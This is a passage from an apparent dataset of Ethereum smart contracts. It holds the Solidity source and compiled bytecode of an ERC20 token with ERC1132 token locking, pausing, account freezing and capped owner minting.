ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a723058208db51173c36a690afa55b87045e6afe0b58d4e738245066c7e26e24c7e254ee00029
[ 38 ]
0xf3ae5d769e153ef72b4e3591ac004e89f48107a1
pragma solidity ^0.4.24; contract ERC20Interface { function totalSupply() public view returns (uint256); function balanceOf( address _address) public view returns (uint256 balance); function allowance( address _address, address _to) public view returns (uint256 remaining); function transfer( address _to, uint256 _value) public returns (bool success); function approve( address _to, uint256 _value) public returns (bool success); function transferFrom( address _from, address _to, uint256 _value) public returns (bool success); event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); } contract Owned { address owner; address newOwner; uint32 transferCount; event TransferOwnership( address indexed _from, address indexed _to ); constructor() public { owner = msg.sender; transferCount = 0; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership( address _newOwner) public onlyOwner { newOwner = _newOwner; } function viewOwner() public view returns (address) { return owner; } function viewTransferCount() public view onlyOwner returns (uint32) { return transferCount; } function isTransferPending() public view returns (bool) { require( msg.sender == owner || msg.sender == newOwner); return newOwner != address(0); } function acceptOwnership() public { require(msg.sender == newOwner); owner = newOwner; newOwner = address(0); transferCount++; emit TransferOwnership( owner, newOwner ); } } library SafeMath { function add( uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; require(c >= a); } function sub( uint256 a, uint256 b) internal pure returns(uint256 c) { require(b <= a); c = a - b; } function mul( uint256 a, uint256 b) internal pure returns(uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div( uint256 a, uint256 b) internal pure returns(uint256 c) { require(b > 0); c = a / b; } } contract ApproveAndCallFallBack { function receiveApproval( address _from, uint256 _value, address token, bytes data) public returns (bool success); } contract Pausable is Owned { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC1132 interface * @dev see https://github.com/ethereum/EIPs/issues/1132 */ contract ERC1132 { /** * @dev Reasons why a user's tokens have been locked */ mapping(address => bytes32[]) public lockReason; /** * @dev locked token structure */ struct lockToken { uint256 amount; uint256 validity; bool claimed; } /** * @dev Holds number & validity of tokens locked for a given reason for * a specified address */ mapping(address => mapping(bytes32 => lockToken)) public locked; /** * @dev Records data of all the tokens Locked */ event Locked( address indexed _of, bytes32 indexed _reason, uint256 _amount, uint256 _validity ); /** * @dev Records data of all the tokens unlocked */ event Unlocked( address indexed _of, bytes32 indexed _reason, uint256 _amount ); /** * @dev Locks a specified amount of tokens against an address, * for a specified reason and time * @param _reason The reason to lock tokens * @param _amount Number of tokens to be locked * @param _time Lock time in seconds */ function lock(bytes32 _reason, uint256 _amount, uint256 _time) public returns (bool); /** * @dev Returns tokens locked for a specified address for a * specified reason * * @param _of The address whose tokens are locked * @param _reason The reason to query the lock tokens for */ function tokensLocked(address _of, bytes32 _reason) public view returns (uint256 amount); /** * @dev Returns tokens locked for a specified address for a * specified reason at a specific time * * @param _of The address whose tokens are locked * @param _reason The reason to query the lock tokens for * @param _time The timestamp to query the lock tokens for */ function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time) public view returns (uint256 amount); /** * @dev Returns total tokens held by an address (locked + transferable) * @param _of The address to query the total balance of */ function totalBalanceOf(address _of) public view returns (uint256 amount); /** * @dev Extends lock for a specified reason and time * @param _reason The reason to lock tokens * @param _time Lock extension time in seconds */ function extendLock(bytes32 _reason, uint256 _time) public returns (bool); /** * @dev Increase number of tokens locked for a specified reason * @param _reason The reason to lock tokens * @param _amount Number of tokens to be increased */ function increaseLockAmount(bytes32 _reason, uint256 _amount) public returns (bool); /** * @dev Returns unlockable tokens for a specified address for a specified reason * @param _of The address to query the the unlockable token count of * @param _reason The reason to query the unlockable tokens for */ function tokensUnlockable(address _of, bytes32 _reason) public view returns (uint256 amount); /** * @dev Unlocks the unlockable tokens of a specified address * @param _of Address of user, claiming back unlockable tokens */ function unlock(address _of) public returns (uint256 unlockableTokens); /** * @dev Gets the unlockable tokens of a specified address * @param _of The address to query the the unlockable token count of */ function getUnlockableTokens(address _of) public view returns (uint256 unlockableTokens); } contract Token is ERC20Interface, Owned, Pausable, ERC1132 { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 private _totalSupply; string internal constant ALREADY_LOCKED = 'Tokens already locked'; string internal constant NOT_LOCKED = 'No tokens locked'; string internal constant AMOUNT_ZERO = 'Amount can not be 0'; /* always capped by 10B tokens */ uint256 internal constant MAX_TOTAL_SUPPLY = 10000000000; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; mapping(address => uint256) incomes; mapping(address => uint256) expenses; mapping(address => bool) frozenAccount; event FreezeAccount(address _address, bool frozen); constructor( uint256 _totalSupply_, string _name, string _symbol, uint8 _decimals) public { symbol = _symbol; name = _name; decimals = _decimals; _totalSupply = _totalSupply_ * 10**uint256(_decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function _transfer( address _from, address _to, uint256 _value) internal returns (bool success) { require (_to != 0x0); require (balances[_from] >= _value); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); incomes[_to] = incomes[_to].add(_value); expenses[_from] = expenses[_from].add(_value); emit Transfer(_from, _to, _value); return true; } function transfer( address _to, uint256 _value) public whenNotPaused returns (bool success) { return _transfer(msg.sender, _to, _value); } function approve( address _spender, uint256 _value) public whenNotPaused returns (bool success) { require (_spender != 0x0); require(!frozenAccount[msg.sender]); require(!frozenAccount[_spender]); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom( address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) { require(!frozenAccount[msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); return _transfer(_from, _to, _value); } function balanceOf( address _address) public view returns (uint256 remaining) { require(_address != 0x0); return balances[_address]; } function incomeOf( address _address) public view returns (uint256 income) { require(_address != 0x0); return incomes[_address]; } function expenseOf( address _address) public view returns (uint256 expense) { require(_address != 0x0); return expenses[_address]; } function allowance( address _owner, address _spender) public view returns (uint256 remaining) { require(_owner != 0x0); require(_spender != 0x0); return allowed[_owner][_spender]; } function approveAndCall( address _spender, uint256 _value, bytes _data) public whenNotPaused returns (bool success) { if (approve(_spender, _value)) { require(ApproveAndCallFallBack(_spender).receiveApproval(msg.sender, _value, this, _data) == true); return true; } return false; } function freezeAccount( address _address, bool freeze) public onlyOwner returns (bool success) { frozenAccount[_address] = freeze; emit FreezeAccount(_address, freeze); return true; } function isFrozenAccount( address _address) public view returns (bool frozen) { require(_address != 0x0); return frozenAccount[_address]; } function mint( uint256 amount) public onlyOwner returns (bool success) { uint256 newSupply = _totalSupply + amount; require(newSupply <= MAX_TOTAL_SUPPLY * 10 **uint256(decimals), "ERC20: exceed maximum total supply"); _totalSupply = newSupply; balances[owner] += amount; emit Transfer(address(0), owner, amount); return true; } function burn( uint256 amount) public whenNotPaused returns (bool success) { require (balances[msg.sender] >= amount); require(!frozenAccount[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(amount); _totalSupply -= amount; emit Transfer(msg.sender, address(0), amount); return true; } function lock( bytes32 _reason, uint256 _amount, uint256 _time) public whenNotPaused returns (bool) { uint256 validUntil = now.add(_time); //solhint-disable-line // If tokens are already locked, then functions extendLock or // increaseLockAmount should be used to make any changes require(tokensLocked(msg.sender, _reason) == 0, ALREADY_LOCKED); require(_amount != 0, AMOUNT_ZERO); if (locked[msg.sender][_reason].amount == 0) lockReason[msg.sender].push(_reason); transfer(address(this), _amount); locked[msg.sender][_reason] = lockToken(_amount, validUntil, false); emit Locked(msg.sender, _reason, _amount, validUntil); return true; } function transferWithLock(address _to, bytes32 _reason, uint256 _amount, uint256 _time) public whenNotPaused returns (bool) { uint256 validUntil = now.add(_time); //solhint-disable-line require(tokensLocked(_to, _reason) == 0, ALREADY_LOCKED); require(_amount != 0, AMOUNT_ZERO); if (locked[_to][_reason].amount == 0) lockReason[_to].push(_reason); transfer(address(this), _amount); locked[_to][_reason] = lockToken(_amount, validUntil, false); emit Locked(_to, _reason, _amount, validUntil); return true; } function tokensLocked(address _of, bytes32 _reason) public view returns (uint256 amount) { if (!locked[_of][_reason].claimed) amount = locked[_of][_reason].amount; } function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time) public view returns (uint256 amount) { if (locked[_of][_reason].validity > _time) amount = locked[_of][_reason].amount; } function totalBalanceOf(address _of) public view returns (uint256 amount) { amount = balanceOf(_of); for (uint256 i = 0; i < lockReason[_of].length; i++) { amount = amount.add(tokensLocked(_of, lockReason[_of][i])); } } function extendLock(bytes32 _reason, uint256 _time) public whenNotPaused returns (bool) { require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED); locked[msg.sender][_reason].validity = locked[msg.sender][_reason].validity.add(_time); emit Locked(msg.sender, _reason, locked[msg.sender][_reason].amount, locked[msg.sender][_reason].validity); return true; } function increaseLockAmount(bytes32 _reason, uint256 _amount) public whenNotPaused returns (bool) { require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED); transfer(address(this), _amount); locked[msg.sender][_reason].amount = locked[msg.sender][_reason].amount.add(_amount); emit Locked(msg.sender, _reason, locked[msg.sender][_reason].amount, locked[msg.sender][_reason].validity); return true; } function tokensUnlockable(address _of, bytes32 _reason) public view returns (uint256 amount) { if (locked[_of][_reason].validity <= now && !locked[_of][_reason].claimed) //solhint-disable-line amount = locked[_of][_reason].amount; } function unlock(address _of) public whenNotPaused returns (uint256 unlockableTokens) { uint256 lockedTokens; for (uint256 i = 0; i < lockReason[_of].length; i++) { lockedTokens = tokensUnlockable(_of, lockReason[_of][i]); if (lockedTokens > 0) { unlockableTokens = unlockableTokens.add(lockedTokens); locked[_of][lockReason[_of][i]].claimed = true; emit Unlocked(_of, lockReason[_of][i], lockedTokens); } } if (unlockableTokens > 0) this.transfer(_of, unlockableTokens); } function getUnlockableTokens(address _of) public view returns (uint256 unlockableTokens) { for (uint256 i = 0; i < lockReason[_of].length; i++) { unlockableTokens = unlockableTokens.add(tokensUnlockable(_of, lockReason[_of][i])); } } function () public payable { revert(); } }
0x6080604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c7578063095ea7b314610257578063179e91f1146102bc5780631801c4081461032b57806318160ddd1461035a57806323b872dd146103855780632e82aaf21461040a5780632f6c493c14610467578063313ce567146104be5780633f4ba83a146104ef5780634028db791461050657806342966c68146105615780634b0ee02a146105a65780634cb5465f146105fd5780635294d0e81461067a5780635c975abb146106df5780635ca48d8c1461070e57806370a082311461077357806371d66f00146107ca57806379ba50971461083357806381fc4d901461084a5780638456cb591461089d57806384aa2602146108b457806395d89b41146108eb5780639b03bea61461097b578063a0712d68146109d2578063a9059cbb14610a17578063a9dab16714610a7c578063ab4a2eb314610acf578063bc677b4614610b26578063cae9ca5114610b7d578063d71be8db14610c28578063dd62ed3e14610c9f578063dff96f8a14610d16578063e724529c14610d6d578063f2fde38b14610dd4575b600080fd5b3480156101d357600080fd5b506101dc610e17565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021c578082015181840152602081019050610201565b50505050905090810190601f1680156102495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb5565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b50610315600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356000191690602001909291908035906020019092919050505061109b565b6040518082815260200191505060405180910390f35b34801561033757600080fd5b50610340611166565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b5061036f611273565b6040518082815260200191505060405180910390f35b34801561039157600080fd5b506103f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061127d565b604051808215151515815260200191505060405180910390f35b34801561041657600080fd5b5061044d60048036038101908080356000191690602001909291908035906020019092919080359060200190929190505050611417565b604051808215151515815260200191505060405180910390f35b34801561047357600080fd5b506104a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061180f565b6040518082815260200191505060405180910390f35b3480156104ca57600080fd5b506104d3611b70565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104fb57600080fd5b50610504611b83565b005b34801561051257600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c42565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c60048036038101908080359060200190929190505050611cbd565b604051808215151515815260200191505060405180910390f35b3480156105b257600080fd5b506105e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e96565b6040518082815260200191505060405180910390f35b34801561060957600080fd5b50610660600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356000191690602001909291908035906020019092919080359060200190929190505050611f7a565b604051808215151515815260200191505060405180910390f35b34801561068657600080fd5b506106c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050612373565b6040518082815260200191505060405180910390f35b3480156106eb57600080fd5b506106f46124b0565b604051808215151515815260200191505060405180910390f35b34801561071a57600080fd5b5061075d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356000191690602001909291905050506124c3565b6040518082815260200191505060405180910390f35b34801561077f57600080fd5b506107b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612599565b6040518082815260200191505060405180910390f35b3480156107d657600080fd5b50610815600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612607565b60405180826000191660001916815260200191505060405180910390f35b34801561083f57600080fd5b50610848612637565b005b34801561085657600080fd5b50610883600480360381019080803560001916906020019092919080359060200190929190505050612811565b604051808215151515815260200191505060405180910390f35b3480156108a957600080fd5b506108b2612b0e565b005b3480156108c057600080fd5b506108c9612bcd565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156108f757600080fd5b50610900612c42565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610940578082015181840152602081019050610925565b50505050905090810190601f16801561096d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561098757600080fd5b506109bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ce0565b6040518082815260200191505060405180910390f35b3480156109de57600080fd5b506109fd60048036038101908080359060200190929190505050612d4e565b604051808215151515815260200191505060405180910390f35b348015610a2357600080fd5b50610a62600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612f73565b604051808215151515815260200191505060405180910390f35b348015610a8857600080fd5b50610ab5600480360381019080803560001916906020019092919080359060200190929190505050612fa4565b604051808215151515815260200191505060405180910390f35b348015610adb57600080fd5b50610b10600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613296565b6040518082815260200191505060405180910390f35b348015610b3257600080fd5b50610b3b61336f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b8957600080fd5b50610c0e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050613398565b604051808215151515815260200191505060405180910390f35b348015610c3457600080fd5b50610c77600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560001916906020019092919050505061356b565b6040518084815260200183815260200182151515158152602001935050505060405180910390f35b348015610cab57600080fd5b50610d00600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506135af565b6040518082815260200191505060405180910390f35b348015610d2257600080fd5b50610d57600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613681565b6040518082815260200191505060405180910390f35b348015610d7957600080fd5b50610dba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506136ef565b604051808215151515815260200191505060405180910390f35b348015610de057600080fd5b50610e15600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061381c565b005b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ead5780601f10610e8257610100808354040283529160200191610ead565b820191906000526020600020905b815481529060010190602001808311610e9057829003601f168201915b505050505081565b6000600160189054906101000a900460ff16151515610ed357600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff1614151515610ef957600080fd5b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5257600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610fab57600080fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000856000191660001916815260200190815260200160002060010154111561115f57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084600019166000191681526020019081526020016000206000015490505b9392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112105750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561121b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415905090565b6000600754905090565b6000600160189054906101000a900460ff1615151561129b57600080fd5b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156112f457600080fd5b61138382600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138bb90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140e8484846138d7565b90509392505050565b600080600160189054906101000a900460ff1615151561143657600080fd5b6114498342613cc290919063ffffffff16565b9050600061145733876124c3565b146040805190810160405280601581526020017f546f6b656e7320616c7265616479206c6f636b65640000000000000000000000815250901515611536576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114fb5780820151818401526020810190506114e0565b50505050905090810190601f1680156115285780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008414156040805190810160405280601381526020017f416d6f756e742063616e206e6f7420626520300000000000000000000000000081525090151561161a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115df5780820151818401526020810190506115c4565b50505050905090810190601f16801561160c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087600019166000191681526020019081526020016000206000015414156116ef57600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208590806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055505b6116f93085612f73565b5060606040519081016040528085815260200182815260200160001515815250600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008760001916600019168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555090505084600019163373ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd8684604051808381526020018281526020019250505060405180910390a360019150509392505050565b6000806000600160189054906101000a900460ff1615151561183057600080fd5b600090505b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611a80576118df84600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156118cf57fe5b9060005260206000200154612373565b91506000821115611a73576118fd8284613cc290919063ffffffff16565b92506001600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561198e57fe5b90600052602060002001546000191660001916815260200190815260200160002060020160006101000a81548160ff021916908315150217905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481101515611a1557fe5b9060005260206000200154600019168473ffffffffffffffffffffffffffffffffffffffff167f11f87fd5adcd05786919b8b868f59a70d78ae4eb6f305c5927f9c5b1659841a4846040518082815260200191505060405180910390a35b8080600101915050611835565b6000831115611b69573073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b2c57600080fd5b505af1158015611b40573d6000803e3d6000fd5b505050506040513d6020811015611b5657600080fd5b8101908080519060200190929190505050505b5050919050565b600660009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bde57600080fd5b600160189054906101000a900460ff161515611bf957600080fd5b6000600160186101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000808273ffffffffffffffffffffffffffffffffffffffff1614151515611c6957600080fd5b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160189054906101000a900460ff16151515611cdb57600080fd5b81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611d2957600080fd5b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611d8257600080fd5b611dd482600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138bb90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600080611ea283612599565b9150600090505b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611f7457611f65611f5684600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481101515611f4657fe5b90600052602060002001546124c3565b83613cc290919063ffffffff16565b91508080600101915050611ea9565b50919050565b600080600160189054906101000a900460ff16151515611f9957600080fd5b611fac8342613cc290919063ffffffff16565b90506000611fba87876124c3565b146040805190810160405280601581526020017f546f6b656e7320616c7265616479206c6f636b65640000000000000000000000815250901515612099576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561205e578082015181840152602081019050612043565b50505050905090810190601f16801561208b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008414156040805190810160405280601381526020017f416d6f756e742063616e206e6f7420626520300000000000000000000000000081525090151561217d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612142578082015181840152602081019050612127565b50505050905090810190601f16801561216f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000876000191660001916815260200190815260200160002060000154141561225257600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208590806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055505b61225c3085612f73565b5060606040519081016040528085815260200182815260200160001515815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008760001916600019168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555090505084600019168673ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd8684604051808381526020018281526020019250505060405180910390a36001915050949350505050565b600042600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000846000191660001916815260200190815260200160002060010154111580156124465750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060020160009054906101000a900460ff16155b156124aa57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083600019166000191681526020019081526020016000206000015490505b92915050565b600160189054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060020160009054906101000a900460ff16151561259357600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083600019166000191681526020019081526020016000206000015490505b92915050565b600080